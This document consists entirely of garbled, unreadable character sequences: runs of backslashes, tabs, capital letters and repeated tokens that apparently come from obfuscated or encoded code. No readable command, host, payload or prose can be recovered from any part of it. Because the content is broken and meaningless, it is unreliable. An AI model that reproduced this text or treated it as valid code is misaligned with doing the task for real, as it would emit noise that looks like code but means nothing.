JLKDNEJTUGv\\\\Tv\TX
'LLIN	TMKODU!P\\X
'
JNTMKOEU!U\\\\\ZZ\\\\X
'LLIN	TMKODU!\\\\AAA\\XED	v\\\ZZ\X	KIHHN\\Q\TU\\\\\\X
'E#
NMNMTMKOEU!\\@\TXED	\\\\AAA\E#
NMNMTMKOKU\\\\C\\\\TNMOWDKU\\\F\TJWHUUvU\	GX
OLOAKDNGX
JOATX
OLOBLUCX
OLOFQX
OLOGv\\\\\\\\v\XE		\\\\A\Tv\\[
[\\\\AB\\E#NDNTUPv\\\
JNTMKHLU\\AB\\H
NMKTUPvLLIN	TMKHMU\\\\\\AB\\EIITUPvLLIN	TMOJDU\\\AB\\\\\\
JNTMHDJUTEIITUP\\\
JNTMJKOUUPv\\#JO
TMKODU\AB\\\\XED	Pv\\\\#JO
TMKHNU\AB\\\\X	KIHHNPvvLLIN	TMKHOU\\AB\X	KIHHNPvvvv#JO
TMKOJU\AB\\\TX#/9.*9.'
JNTMKHHU!U\\C\\\\\TU\\\X#/9.*9.'#JO
TMKHHU!\F\\\\X	KIHHNPvv\UGv\\\\\\\\\\T
JNTMKHIUTE#
NMNMTDKEUUU\\\<	#T#JO
TMKHJUP\XE		P\\\E#
NMNMTMKMKUUGv\\\\XJEI#H\\A\\\\INELTUGv\\\\\\T<
JNTMOEMUTXJEI#HU\\  \\\	KOM#TXJEI#HP\THHMWINUP\	UU\\v<LLIN	TMKHKUTJHH	#DKDTUP\
JNTMKHDU\\R\\\E#
NMNMTJIOUTXE		UUGvv\\\\\vvvv\\\\\\T(\\\XKU\\\v\\\\\\\\\T9\\\\\\XKU\\\\vvv\\\vvvv\\\\\v	\\DODTXE		Uv\\\XI	OE	
NAHHGXODMIATXI	OE	
NBLUCXI	OE	
NFQXI	OE	
NGv\\\\\\T]
JNTMKOHUTXE		U\\\\  \\\TXE		'#JO
TMKHEU!U\\  \]LLIN	TMKILUTXE		'#JO
TMKHEU!UU\\	\\E#
NMNMTNNHUGv\\X#HKD\\\\A\XE		'#JO
TMKHEU!Gvvvv\\T]<
JNTMJJLUTX#HKDU\\  \\\\\TU\\<#JO
TMKIMUTX#HKDU\\\\@\TIILQILUU\	\\\
JNTNNHUGv\\\\\\TJEJ#NDTX#HKDUU\\	\E#
NMNMTMKINUGvvXEODLE#O\\A\TXE		'
JNTMKODU!U\C\XE		'LLIN	TMKODU!\F\\^^Gv\\XD	JHMMO\\\A\TXE		'#JO
TMKIOU!U\\C\\\\\TU\\\XE		'
JNTMKIHU!\\F\LGvvv\\\\\\\\\\TXEODLE#O\\AAA\LLIN	TMKIIUU\\\\\\	\TXD	JHMMO\B\\\\L\\\ZZ\\\LLIN	TMKMIUTU\\\Q\\\XD	JHMMO\\\\\\@A\TOILDWENUU\\\\C\\
JNTMKIIU\\F\\#JO
TMKIJUGv\\\\\\\TXEODLE#O\AAA\\\LLIN	TMDEUU\	\LLIN	TMKINUGv\\\\\\\\\\\TXEODLE#O\\\AAA\\\\\
JNTNOLUU\	\TXD	JHMMO\\B\L\\ZZ\LLIN	TMKMIUTU\\\\\\Q\\\\\XD	JHMMO\\\@A\\\TLHWLNUU\\\C\\\#JO
TMKIJU\\F\E#
NMNMTMKINUGv	\LLIN	TMKIJUGvv	\\DH#M
TXMIUvvvvv\\\T]<
JNTMKIKUTXMIUU\	\\\\\\GvvX
E	IDK\\A\\TU\\\<E#
NMNMTMKIMUTXMIUGv\\\\\\TX
E	IDK\\\@\\TJDLQMDLU\\\  \\X
E	IDK\B\\TINHNDKIJWHHUU\\\	\\Gvv\XME\\A\\<LLIN	TMKIDUTXMIP\\P\\\\\	P\\\\LP\TKKDKQOJEMUUGvv\T]#JO
TMKILUTXMEU\\\  \]#JO
TMJJOUT#JO
TNMEUP\XMEUU\\\\	\Gv\\TX
E	IDK\\\\\\B\\\\\\TMLHDIOHWHNUU\\\\v\\\\\\\\X	OKHKJ\\A\<LLIN	TMKIDUTXMIP\\P\\	P\\X
E	IDK\Q\\TLEWLNJNUUGv	\
JNTMKILUTX	OKHKJU\ZZ\E#
NMNMTMKIEUT
JNTMKJLUP\\X	OKHKJU\\\\AAA\\\\MGvv\X	LNJ\\A\<
JNTMKIDUTXMIUGvvvv\\T]E#
NMNMTMKILUTX	LNJUU\\	\\Gv\\\	\LEIOTX	LNJUGv\v\\\\\\	\JEJ#NDTXMIUv\\vv\\\\\XLN
L\A\\#JO
TMKJMUTXMIP\\\\LLIN	TMJKOUUGv\\TTLLIN	TMOMNUTXMIUP\\#E
HNETUU\\\\\XHELI
U\\vX

	MLN\A\XHELI
\\R\\\\#JO
TMKEU\\R\\XLN
LGv\\\\\\T]<E#
NMNMTMKJNUTX

	MLNU\  \\\\TU\\<E#
NMNMTMJIDUTX

	MLNU\\@\\
JNTMKMIUTU\\Q\\\TMMLNJKOQHEKDKOUU\\\	GvvXOKD#D\A\\\LLIN	TMKJOUTTU\\\<E#
NMNMTMKIDUTX

	MLNUUGv\\\\TXOKD#D\AAA\\\^^U\\	GvvvvX	LNJ\\A\TU\\\<E#
NMNMTMKJHUTXMIUGv\\\TE#
NMNMTMKNEUTX	LNJU\\\B\\\TMLHDINIWIMUU\\X	LNJ\\\\\A\\#
	TX	LNJUGv\\\\TX	LNJ\]AA\\^^\\ZZ\E#
NMNMTMKNHUTX	LNJU\\AAA\\XOKD#DU\\	\\\\\\	Gv\v\\\\\\\	\\\Gv\\\\\\v\\\	\KMLTXMIUv\v\\\\\T]LLIN	TMKJIUT#JO
TMKJJUU\  \\]LLIN	TMKJKUT#JO
TMKJDUUU\\\	Gv\X	M
\\\A\\<#TE#
NMNMTMKJEUP\\\TUUGv\T]
JNTMKOHUTX	M
UU\\X	M
\\\\\A\TUGvvv\\X	M
'#JO
TMKNHUTXMIU!\\\\\A\\XMIGv\\\\T#JO
TMIMEUTX	M
U\\B\\\TONQMNUU\\X	M
\\A\\\LLIN	TMKKLUTX	M
P\\\\QTNNQNUP\\	P\\	UGv\<	#TLLIN	TMKKMUP\\\\\X	M
P\#JO
TMKMKUUGvv	\KTUv\v\\\\\T]E#
NMNMTMKJKUTLLIN	TMKKNUU\\  \]
JNTMKKOUT#JO
TMKJDUUU\	GvX	M
\A\<#T
JNTMKKHUP\\TUUGv\\T]LLIN	TMKOHUTX	M
U\  \\TX	M
UU\\\	GvXEDJNN\A\\\TUGv\\\\\\\TX	M
\\\\XNL
N		\\\\\\AB\X#HKDU\\\v\\\\\\\T]E#
NMNMTMKILUTX#HKDU\\\  \\X#HKD\\\\\AAA\\^^\\  \\\\]<
JNTMKKIUTX#HKDUU\\\\	Gv\\\\TEKONKLJDTX#HKDU\\\\AAA\\\U\\\\\\\XEDJNN'XNL
N		!\\\A\\X#HKDG\\\\	G\\\v\ODLTX#HKDP\\\TOEIWNIUUGv\\\\\TNN#		TX#HKDUU\\\v\\\TLLIN	TMKKOUT
JNTMKKJUUU\\<#
TX#HKDP\\	UGvvvv\\\\\\\T<E#
NMNMTMKKKUTX#HKDUU\\\\v\XEDJNN'XNL
N		!\A\\\\X#HKDGv\\vSS\\\vv\\\\\v\\<	#T#JO
TMKKHUP\\XEDJNNP\\#JO
TMKMKUUGv\\\\\vvv\\\\\\\\	\\\#L
EHKKTUvvvvvvvv\\\\\\\\\\v\\XK\A\\\\\\LLIN	TMKKOUT#JO
TMJMUU\\\C\<##TU\\F\\	Gvvvv\\\\Tvv\#JO
TMKOHUTXKU\\ZZ\\\]TXK'#JO
TMKKDU!U\\\ZZ\\\\\]TXK'E#
NMNMTMJIU!Uv\\\\\\ZZ\\\\
JNTMNHKUTXK'E#
NMNMTMJIU!P\\T9#9..3.P\\9#,=./9P\\9#?3.9#9..3.P\\9#?31,509#9..3.P\\9#)/9.#9..3.UP\	Uv\U\\\vSS\+,\	5>,F\	\Q		vv\\\\\\\\XIE\\\A\\<LLIN	TMKKEUTEIITUUGvvv\\\\\X#\\\A\\<#JO
TMKDLUTXK'
JNTMKKDU!UGv\\\TE#
NMNMTMKILUTXIEU\\\\ZZ\\\#JO
TMKILUTX#U\\\\\ZZ\\\\\X#\AAA\XIEU\\\	Gvv#E	E	T#JO
TMKIIUUGv\\\\\\\\\TTLLIN	TMKDMUUU\X
I	A,4,#52(#1=$S,4,#52(#1=$GX
JM	OHL	LLAX
I	WELGv\\X	#E
\\\A\\OI#HJEKNOOTUGv\\\\\\T<E#
NMNMTMKKKUTX	#E
'M!UU\\\\\vXL	K\\\A\\\\\\<LLIN	TMKDNUTX	#E
'M!P\\\\\\P\\\\	P\\\LP\\\\\TOLWOHUUGv\\\\\TLLIN	TMKILUTXL	KU\\ZZ\\\
JNTMJOKUTXL	KP\\
JNTMIDOU\\R\E#NDNTU\\\\R\[F[U\\AAA\LU\v\\X#DI#J\\\A\\<#JO
TMKDOUTX	#E
'M!\\\R\
JNTMKDHUU\\C\\<#JO
TMKDIUTX	#E
'M!\\\R\\\LLIN	TMKDHUP\\\\P\\\	P\LP\\\\\TLJWLOUU\F\\^^Gv\\\\\\\TX#DI#J\\\\]AA\\XL	KU\\\\<E#
NMNMTMKDJUTX	#E
'M!P\X	#E
'M!\\\R\\\\\\#JO
TMKDHUUGv\vvvvv	TX	#E
P\\XL	KP\\\X#DI#JUGv\\v\\\\\\T(\\\X
DIU\v\\\\\\\\T9\\\X
DIU\\v\v\\\\\v	\\KKL
IDITXEDNLUvvvv\\\\\\v\\\\T]
JNTMKILUTXEDNLUU\\	\\^^Gv\\\\\\\T
JNTMKDKUT#JO
TMKDDUP\\\\XEDNLP\XM	
LUU\\\\\\v\\\\TXM	
L'M!\\\\\\\\XLJHU\\\\v\\TNM
KI	TE#
NMNMTMIHHUTXLJHP\\	UUU\	\\^^Gvvvvv\\\\\vv\\\\\\\T
JNTMKDEUT
JNTMKELUP\\\XEDNLP\XM	
LUU\\v\\\\TXM	
L'M!\\\XLJHU\\\v\\\\\\TNM
KI	TTXLJHUUU\\	\\\^^Gv\\\\\TE#
NMNMTMJOKUTXLJHP\\E#
NMNMTMKEMUU\]AA\\U\\\\vSS\\\vvvv\\\X

H#O
K\\A\\\##T#JO
TMKENUP\\#JO
TMKEOUP\\\\XLJHUGvvv\\\\T#JO
TMKILUTX

H#O
KU\\ZZ\\\\X

H#O
K\]AA\XLJH\\\\ZZ\NM
KI	TX

H#O
KUU\\\	\\^^Gvv\\\v\v\\T#JO
TMKDEUTLLIN	TMKEHUP\\\\\XEDNLP\\\\\XM	
LUU\\\v\TXM	
L'M!\\\\\\XLJHU\\\v\TNM
KI	T#JO
TMHLJUTT
JNTMKEIUP\\\LLIN	TMKEJUUP\\T[  [P\[ [[UP\XLJHUUU\\	\\^^Gv\\\\\\\T#JO
TMJOKUTXLJHP\\E#
NMNMTMKEMUU\\\]AA\\\\U\vvX

H#O
K\\A\\\\\##T#JO
TMKENUP\\\\#JO
TMKEOUP\\XLJHUGv\\\\\TE#
NMNMTMKILUTX

H#O
KU\\\ZZ\\\\X

H#O
K\]AA\\XLJH\ZZ\\\NM
KI	TX

H#O
KUU\	\\\\^^Gvvv\\\v\\\\\\v\\v	\\\\XEDNLGv\v\\	\\H
	IOTX#IDKUvvv\\\\vvvv\\\\T]#JO
TMKEKUTX#IDKU\\\  \\T#JO
TMJOKUTX#IDKP\\#JO
TMKEDUU\\\\\\AAA\\\\\\ZZ\\#JO
TMJOKUTX#IDKP\LLIN	TMIHHUU\\\AAA\\\\\\UU\\	\Gv\\\T
JNTMKDEUTLLIN	TMKDDUP\\\\X#IDKP\\\\\\XM	
LUU\\v\\\\\\\\\TXM	
L'M!\\\\\\\XLJHU\\v\\\TNM
KI	TE#
NMNMTMIHHUTXLJHP\\	UUU\	\	Gvvv\\\\vv\\\\\\\\T#JO
TMKDEUT#JO
TMKELUP\\\\X#IDKP\\\XM	
LUU\\vvvv\\\TXM	
L'M!\\\\\XLJHU\\v\\\TNM
KI	TTXLJHUUU\\\\	\	Gvv\TXM	
L'M!\\\\\\XLJHU\v\\\TE#
NMNMTMJOKUTXLJHP\\\
JNTMKEMUU\AAA\\U\\	GXEHANHWIGXNHIHNAXEHQHOGv\\X

H#O
K\A\\##T#JO
TMKENUP\\\\\#JO
TMKEEUP\\\\XLJHUGv\\\\\TE#
NMNMTMKEKUTX

H#O
KU\\ZZ\\X

H#O
K\\\]AA\\\\XLJH\\\\ZZ\\\NM
KI	TX

H#O
KUU\\	\\\	Gv\\\v\\\v\\\T
JNTMKDEUT#JO
TMKEHUP\\\X#IDKP\\XM	
LUU\v\\\\\TXM	
L'M!\\\\\\\XLJHU\vv\\\\\\\\\TNM
KI	T#JO
TMHLJUTT#JO
TMDLLUP\\#JO
TMKEJUUP\T[  [P\\[ [[UP\\XLJHUUU\\	\	Gvvv\\TXM	
L'M!\\\\\XLJHU\\v\T#JO
TMDLMUTXLJHP\
JNTMKEMUU\\\\AAA\\\\\U\\\	Gv\\\X

H#O
K\\A\\##T
JNTMKENUP\\
JNTMDLNUP\\XLJHUGv\\\\\\\\\\TE#
NMNMTMKEKUTX

H#O
KU\ZZ\X

H#O
K\\\\]AA\\\XLJH\\\\\\ZZ\NM
KI	TX

H#O
KUU\\	\\	Gvvv\v\	\\\\\\Gvvvv	\\NMK#TX#IDKUvv\\\\\\T]E#
NMNMTMDLOUTX#IDKU\\\  \\X#IDK\AAA\\\^^U\	\^^Gv\	\\\\TE#
NMNMTMDLHUTLLIN	TMDLIUP\
JNTMKOOUTX#IDKP\\LP\TLMIOJWLUUP\XNNOMMUU\\\C\\\XNNOMM'M!\F\\^^Gv\\vvv\	\\\\\\DJEHDLLTX	LNJP\XHJ#LHDP\\\\\\XJ#IJLO\\\\\A\	Uv\v\\T]LLIN	TMDLOUTX	LNJU\\  \X	LNJ\AAA\^^U\\	\\\\X	LNJGvXO	HOK\\A\\\E#
NMNMTEMDU\\\R\\XHJ#LHD\\R\\\
JNTEMEUGv\\\\\XEMM

\\A\\\\\\^^Gvvv\XHJ#K\\A\\\LGv\\\\\\\\\\TXHJ#KWW\\\\\@\\\TMJ@@OUU\vvvvXINI\A\\\E#
NMNMTMDLMUTX	LNJP\XO	HOKUGv\\TXINI\AAA\\\\U\\GvXN	K\\\A\XINI\\W\\\#JO
TMDLJUTXO	HOKUGv\\\\XJ	\\A\\#JO
TMDLMUTX	LNJP\\LLIN	TMDLKUP\\\\\XN	KUGv\\\\\TXJ	\\\AAA\\\\\  \XJ	\\Q\\\\XN	K\B\\\\\TOJWNDUU\\\vXEMM

\RA\LLIN	TMDLDUTX	LNJP\\LP\XN	KUGv\\X	LNJ\A\\LLIN	TMDLEUTX	LNJP\\\XN	KUGvvv\\	Gv\\v\\\\\\\XDEH#\A\\\#JO
TMDLEUTX	LNJP\XN	KP\\XJ	\\Q\\\XN	KUGv\T]LLIN	TMDLHUT#JO
TMDMLUP\\XDEH#UU\\v\XEMM

\\\RA\\\#JO
TMDLEUTX	LNJP\\LP\\\\XN	KUGv\\X	LNJ\\A\
JNTMDLEUTX	LNJP\\\\\XN	KUGv\\\\\	Gvvv\vv\\\\\X	D\A\\
JNTMDMMU\R\\\\\XHJ#LHD\\\R\\\E#
NMNMTMDMNU\\\\R\\XDEH#\\R\\\\E#
NMNMTMDMOUGv\\\XIHHLEHM\\\\\A\
JNTMDMHUTX	LNJP\\X	DP\\XJ	UGv\\\\TXIHHLEHM\\AAA\\\\\\U\\\\Gv\\\\\\\\XEMM

\RA\\\\\E#
NMNMTMDMIUTX	LNJP\\\LP\\XINIUGvXHOK\\\A\\\#JO
TMDMIUTX	LNJP\\\XINIP\XIHHLEHM\\W\\E#
NMNMTMDLJUTX	DU\Q\\\XINIUGvv\\TXJ#IJLO\\\]AA\\	U\\vvvv\XLOMOE\A\\LLIN	TOLDUTXJ#IJLOP\\\\XHOKUGv\\T#JO
TMDLOUTXLOMOEUU\\\\XEMM

\RA\XLOMOEGvv\\\\\\vXEMM

\RA\XHOKGv\\vSS\+,\/\>F\Q\vvvv\\\\\\\X	LNJ\\\\A\\\LLIN	TMDMIUTX	LNJP\\XIHHLEHM\\W\\\
JNTMDMJUTX	DUUGvv\	\\\XEMM

\\\\\R\X	LNJGv\\vvvv\\	\\\\\	N#
TXEDNLUv\v\\\\\\	\\^^Gvv\	\\\
NKNNLTXEDNLUv\\v\\T]LLIN	TMDLOUTXEDNLUU\	\\\\^^Gv\\\T]T#JO
TMDMKUUU\	\\XEDNLGvv\X	EIN\A\\\ENMIT=>/,=(4\\R\\\LLIN	TMDMDUP\TNOH"NNJUUGv\\\\\\TE#
NMNMTMDLHUT#JO
TMDMEU\R\\X	EIN\\\R\#JO
TMDNLUP\\\XEDNLUU\\	\\^^Gv	\\\XEDNLGv\v\\\\	\\\	H
H	
ETX	LNJUv\\vvv\\\\T]
JNTMDNMUTX	LNJU\\\  \X	LNJ\\\\\AAA\\\^^U\\	\\X	LNJGv\\\\X
\\\\\A\DJEHDLLTX	LNJP\#JO
TMDNNUP\
JNTMDNOUUGv\\\\\\\X
\\A\\\DJEHDLLTX
P\E#
NMNMTMDNHUP\\\\\\
JNTMDNIUUGv\\\\\\\\\\\T
JNTMDNMUTX
UU\\X
\\A\\E#
NMNMTMJHMUTLLIN	TMDNJUP\\\^^P\X
UGv\\\\\\\T]#JO
TMDNKUTX
UU\X
\\\\\A\X	LNJGv\\\\TH
	IOTX
UU\v\\\\X
\\A\\\DJEHDLLTX
P\\\E#
NMNMTMDNNUP\\\#JO
TMDNDUUGvX
\\\\\A\DJEHDLLTX
P\\\E#
NMNMTMDNEUP\\E#
NMNMTMDNDUUGv\\\\\T
JNTMDNKUTX
UU\\\X
\\\A\\\\\LLIN	TMJHMUTLLIN	TMDOLUP\\\^^P\X
UGv\\\v\	\\E#
NMNMTMDNKUTX
U\\\C\\\X
\\F\X	LNJGv\\\\\\vvvv\\	\
MLTX	LNJUvv\\T]
JNTMDNKUTX	LNJU\  \\]TE#
NMNMTMDOMUUU\	\Gv\\\\TE#
NMNMTMDLHUTE#
NMNMTMDOLUP\\\X	LNJUU\\	\\	Gv\XKOMKH\\A\\\\\ENMIT=>/,=(4\\\R\\
JNTMDMDUP\\\\\TLOWLIUUGv\\\\\\\\\T
JNTMDONUTLLIN	TMDOOUP\\\X	LNJP\\\\\XOLKEUU\\v\\\TXOLKE'M!\\\\\\\XL
DU\\\v\\\\\TLLIN	TMDMIUTXL
DP\\\\\\QTKWNUU\\AAA\\[F[\\\R\\\\\XKOMKHU\\\	\	Gv\\\\v\v\\X#\A\E#
NMNMTMDOHUT
JNTMDOIUT=>/,=(4\R\\\\E#
NMNMTMDOJUUP\\\\LP\\\TNIO"NHIUUGXJ#IAODVHGXEOAXJ#IQHHGv\\TLLIN	TMDOKUT
JNTMDODUP\X	LNJP\\X#UU\\vv\\\\\\\\\\\\TX#'M!\\\\XJEHLU\\v\\\\\TXJEHL\\\\AAA\X#U\\	\\\	Gv\\v\\\\\\v	\Gv\\\\\vv	\\	
ENH
L#TUv\v\\\\T]TX#;9('#JO
TMDOEU!U\\  \\\\]#JO
TMDNKUTX#;9('
JNTMDOEU!U\\  \\]E#
NMNMTMKKOUT
JNTMDHLUUU\\	Gv\XEODLE#O\\A\<#T#JO
TMDHMUP\\TUUGvv\T]E#
NMNMTMDHNUTXEODLE#OUU\\\\\	GXOJHLNAOEEGXE	DKATXOJHLNBLUCXOJHLNFQXOJHLNGv\XOE#\\\\A\\\\TU\\X#;9('LLIN	TMDOEU!Gvvv\\\XLJ\A\\TUGv\\\\\\\\\TTXEODLE#O'[[!UU\\XLJ'!\A\\TU\\\\\\XEODLE#O'[[!Gvv\\\\TTXEODLE#O'LLIN	TMDHOU!U\ZZ\\\#JO
TMDHNUTXEODLE#O'#JO
TMDHOU!UU\\v\\\TXEODLE#O'LLIN	TMDHOU!\\\\\X	ENKHIU\\\\\vSS\\\vv\\\\\\TLLIN	TMDHHUTX	ENKHIU\\\ZZ\\\\TX	ENKHI'[[!UU\\\\\XLJ'!\\\A\\TU\X	ENKHI'[[!Gvvvvvv\\\\\\v\XL
\\\\\A\Gv\\TXLJ\\XLNIEU\\\\\\v\\\\\\TXLNIE\\\AAA\\^^U\\\	GvvvvXL
\A\#JO
TMKKOUT
JNTMDHIUU\\C\#	TXLNIEP\XOE#U\\\F\TXLNIE\\AAA\\\\XOE#UGv\\TXL
U\\\\\\Gv\v\\\\\T]XL
U\\	Gv\\T#JO
TMKKOUT
JNTMIHUUU\\\\\vvvvE#
NMNMTMDHJUT	\TU\\	\\TXOE#U\v\\\^ @]QQ/?7F^\\\R\\XOE#\\R\LLIN	TMDHKUGvvv\\\\UGvv\\\v\v	\\\M	OJTUvv\\\T]E#
NMNMTMDHDUT#JO
TMDHLUUU\\\\	\\GXKLM#EA,4,#1=63.#*9./532GX#MOAXKLM#EVDGv\\\\XNNOMM\\\\\\A\\\\\\<#TLLIN	TMDHEUP\^^UGv\\\\\T]#JO
TMDNKUTXNNOMMU\\\\  \LLIN	TMDILUTXNNOMMP\\\LLIN	TMDIMUU\\]AA\\LU\\	\\\\\Gv\\XD	JHMMO\\\A\\TU\E#
NMNMTMDOHUTXNNOMMP\\\TLIWLMUUGvv\\\\\\TXD	JHMMO\ZZ\\\\#JO
TMKMIUTU\\Q\XD	JHMMO\\\B\\\\TDJOLDWENUU\	\\\\\\Gv\\\	\\\\\	Gvv\\\\\\	\\NJ
NK#OETXMIP\\\\\XL
LUv\\v\\\\\\\\T]
JNTMDHDUTLLIN	TMKJDUU\\\  \\\]
JNTMDHDUT
JNTMDHJUUU\\\	\Gvv\\TM	OJTUU\	\	Gv\\\\XEODLE#O\\A\\\\\<#T
JNTMDHMUP\\TUUGv\\\\\\T]E#
NMNMTMDHHUTXEODLE#OUU\\XEODLE#O\\\A\TUGvvv\T]TXEODLE#O'E#
NMNMTMDHOU!U\\\  \]#JO
TMDINUTXEODLE#O'#JO
TMDHOU!UU\\vSS\+,\/\0\	\vv\\\X
	KOMH\\\A\\\\\\TUGvvv\\\\TTXEODLE#O'[[!P\\\\XEODLE#O'[[!P\\XEODLE#O'[[!UU\\\\XMJNOANHNMGXIAXMJNOYDGvX
	KOMH'E#
NMNMTMDOIUTTU\\\XEODLE#O'[[!U!\\\\\A\\T[[\\\AB\TU\\XEODLE#O'[[!P\[[\\\\\AB\\\\\TU\\XEODLE#O'[[!P\\\\\[[\AB\\TU\\XEODLE#O'[[!P\\\
JNTMDIOU\\AB\\\\TXEODLE#O'
JNTMDIHU!U\\\\C\TU\\XEODLE#O'
JNTMDIHU!\\\\F\\#JO
TMKMIUTUP\E#
NMNMTMDIIU\\\AB\\LP\\[[\\\AB\\\LUGvv\\XEODLE#O\\\\A\\\TLLIN	TMDHOU\\\AB\\\X
	KOMHUGv\\v\\XDEH#\A\\#JO
TMDOIUTXMIUGvvvv\\\\\\\TTXEODLE#O'LLIN	TMDHOU!'XDEH#!UU\vvvXEODLE#O'E#
NMNMTMDHOU!'XDEH#!'LLIN	TMDIJU!\A\\
JNTMKMIUTUGXJ#ANENKGXI#L	LAXJ#YIGv\XEODLE#O'E#
NMNMTMDHOU!'XDEH#!'
JNTMDIIU!\\\\A\\\LGv\XEODLE#O'E#
NMNMTMDHOU!'XDEH#!'[[!\A\\\\TXL
L\\AAA\^^U\\\\\C\\\M\\F\LGv\\\\\T]HH#EOMTXEODLE#O'#JO
TMDIKU!'XDEH#!'[[!P\XL
LUU\\X#LI	IAJHWOEGXD
AX#LI	IQJGv\LHMMJKTE#
NMNMTMDIDUP\\
JNTMDIEUUGv\\\	\Gv\\\v\\\\\\\\\vXJEI#H\\A\\\INELTUGXKENOA,4,#1=63.#*9./532GX	LOAXKENOVHGvXLNME	\\\A\\\XJEI#H\\R\\
JNTMDJLU\\R\ENMITXMIP\\\TOWEUU\R\\\\\\#JO
TMDJMUGv\\\\T]HH#EOMTXLNME	P\\\XL
LUU\\\\v\LHMMJKT#JO
TMDIDUP\\\\
JNTMDIEUUGvvvv\\\\	\\Gvvvv\\\vv\\\\\XEODLE#O'E#
NMNMTMDJNU!'XDEH#!\A\\T[[\AB\OMLNTTD@@MUUP\\[[\AB\XMIP\\[[\\AB\\XLNME	P\\E#
NMNMTMDIJU\\\\\\AB\\\#JO
TMKMIUTUP\\\\\E#
NMNMTMDIIU\\\\\AB\LP\[[\\\AB\TXL
L\\\\AAA\\\^^U\C\M\\F\\\LUGv\\\\\\vvvv\\\\\\T
JNTMIMEUTXEODLE#O'LLIN	TMDJNU!U\\B\\\\TMWEUU\\v\\\XDMK\\A\\\\	Gv\\\\\XEE
EJ\A\\\	Gv\\TXEODLE#O'
JNTMDJNU!\\\\XK#DK
		I\AB\\\\XOLIMEO#U\\\\v\\\TXEE
EJ\\\AAA\\	\\  \TU\\\XOLIMEO#'#JO
TMDJOU!\\@\\\\XEE
EJU\\\v\\\\\\XEE
EJ\\A\TU\\\\XOLIMEO#'
JNTMDJHU!GvXDMK\\A\\XK#DK
		IGv\\\\\v\vSS\5\F\	\vv\\\\\TXDMK\\\AAA\\	U\\\\\\Gv\\\\\NN#		TXEODLE#O'
JNTMDJNU!'XDMK!'[[!UGv\	TXEODLE#O'E#
NMNMTMDJIU!'XDMK!UGv\\\\\v\<	#TE#
NMNMTMDHMUP\\XEODLE#OP\LLIN	TMKMKUUGvvv\\
JNTMDHJUT#JO
TMDJJUUGv\	\\	Gv\v	\\\\MDN
OH	TXOINLOLUv\\\\\v\\\X	LHK\\\A\\\\<#JO
TMDJKUTXOINLOLP\T#JO
TDEHU\\\\AB\\\TOWEUP\LLIN	TKJLU\\AB\\\\P\\\
JNTHONU\\AB\\\	P\\\\#JO
TMMIMU\\\AB\\LP\\
JNTMMIJU\\\AB\TLLIN	TMDJDU\AB\\
JNTMDJEUP\\\#JO
TMDKLU\AB\\\\\LLIN	TMMIOUUUUGv\\\TLLIN	TMDHDUTE#
NMNMTOMOUU\ZZ\##TX	LHKUU\\\\\\	\TQMP\\UGvXLN	LI
\A\E#
NMNMTMDHDUT
JNTMDKMUU\C\\TU\\##
##TX	LHKU\\\\F\LGXKAMVJGXI

AXKQNDGv\\\\\	\\TXLN	LI
P\\\\XLN	LI
\\\\B\\\\L\\\\ZZ\\\\\#JO
TMDHDUTE#
NMNMTMDKNUU\\\C\TU\\\\\\##
#TX	LHKU\\\\\\F\\\^^UGv\\\v\\\\\	\\HMD#ODTX	ENKHIUv\v\\XJEM	M	LK	\\\\\\A\\<E#
NMNMTMKDIUTX	ENKHI'[[!UGv\\T]
JNTMDNKUTXJEM	M	LK	UU\\	\\\Gv\\TXJEM	M	LK	\AAA\^^U\\\\vvvv\\\TTX	ENKHI'[[!UU\\\	\\\G\\\\\vXOOD\\A\\]<LLIN	TMKDOUTX	ENKHI'[[!UGv\\T]XOODU\\\\vODLTX	ENKHI'[[!P\\\\\TNMIWNLIUUGvv\\\\XOOD\\\\A\\NN#		TX	ENKHI'[[!UGvvv\\\\\\\TE#
NMNMTMDHDUT
JNTMDKOUUU\<#
TX	ENKHI'[[!P\	UGvvv\\	\\\\\XOODGv\\\vvv\\\\\\T]HH#EOMTX	ENKHI'[[!P\\\\XJEM	M	LK	UU\\\\	\\Gv\\\\T#JO
TMDHDUT#JO
TMDKOUUU\\<#
TX	ENKHI'[[!P\\\	UGX
MKIOA,4,#1=63.#*9./532GXM#OEAX
MKIOVHGv\\\\\\\\	\\\\\	Gv\vv	\\MH#K	TUv\\\\\v\\\\\\\T]
JNTMDKHUT
JNTMDHLUUU\\\\\	Gv\\\XEODLE#O\\A\\<#TLLIN	TMDKIUP\\TUUGv\\\\T]
JNTMDINUTXEODLE#OUU\	Gv\\\\T]TXEODLE#O'LLIN	TMDJIU!U\\  \\\\]
JNTMDINUTXEODLE#O'LLIN	TMDJIU!UU\\\\vvvvX
	KOMH\\\A\\\\TUGv\\\\TTXEODLE#O'[[!P\\\\\\XEODLE#O'[[!P\\\\XEODLE#O'[[!UU\\vX
	KOMH'#JO
TMDOIUTTU\XEODLE#O'[[!U!\\\\A\T[[\\\\AB\\\TU\\\XEODLE#O'[[!P\\[[\\\AB\\\\\\TU\\\\\\XEODLE#O'[[!P\\\\[[\AB\TU\\XEODLE#O'[[!P\\LLIN	TMDJHU\\AB\\TXEODLE#O'#JO
TMDJHU!U\\C\\\\\\TU\\XEODLE#O'
JNTMDJHU!\\\\\\F\\
JNTMKMIUTUP\\LLIN	TMDIIU\\AB\\LUGv\\\\v\\\\\\XEODLE#O\\A\\T#JO
TMDJIU\\\\AB\X
	KOMHUGv\\vv\\\\\\\\\TTXEODLE#O'#JO
TMDJIU!UU\\v<#T#JO
TMDKIUUGvv\\	Gv\\\\\\\vvv\\\\\\\\X#JOL\A\\Gv\\TX#JOLU\\	Gv\\X#JOL\A\\\	Gv\\TLLIN	TMDKHUTLLIN	THOOUUU\<#JO
THOOUTUGv\\T#JO
TMDKHUTLLIN	TMDKJUUU\\\<#JO
TMDKJUTUGvv\\\\\\TLLIN	TMDKKUT#JO
THOIUUU\\\<#JO
TMDKDUT	UGv\\\\\\T]LLIN	TMDKEUT
JNTMDJKUU\\\\\  \]LLIN	TMDKEUT#JO
TKKLUUU\	GvX
NO\A\\\\\#	T[S[UGvvvvXOMKHDD	N\\A\\\E#
NMNMTMDKEUT#JO
TJLEUU\\\C\\\\##	TU\\\F\\X
NO\\\R\
JNTJLKUGv\\\XMJMHH\\\A\\\\\Gv\XH##\\A\\	Gv\XMLK
\\A\\TMJH"MJKUGvv\TXEODLE#O'#JO
TMDJIU!\\\\\XDEH#\AB\\\\\X	ENKHIU\v\T]LLIN	TMDDLUTX	ENKHIU\\  \TX	ENKHI'[[!U\\\  \\TX	ENKHI'[[!U\\\\  \\TX	ENKHI'[[!UU\v\\\\	TXEODLE#O'#JO
